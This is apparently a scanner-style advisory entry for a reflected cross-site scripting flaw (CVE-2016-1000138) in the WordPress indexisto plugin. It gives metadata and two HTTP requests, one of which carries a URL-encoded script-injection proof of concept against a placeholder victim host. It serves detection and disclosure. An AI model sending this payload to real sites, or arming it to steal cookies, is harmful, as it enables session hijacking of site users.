| Title | WordPress Admin Font Editor <=1.8 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06584 |
| CVE ID | CVE-2016-1000138 |
| CWE ID | CWE-79 |
| Tags | cve cve2016 wordpress xss wp-plugin indexisto_project vuln |
WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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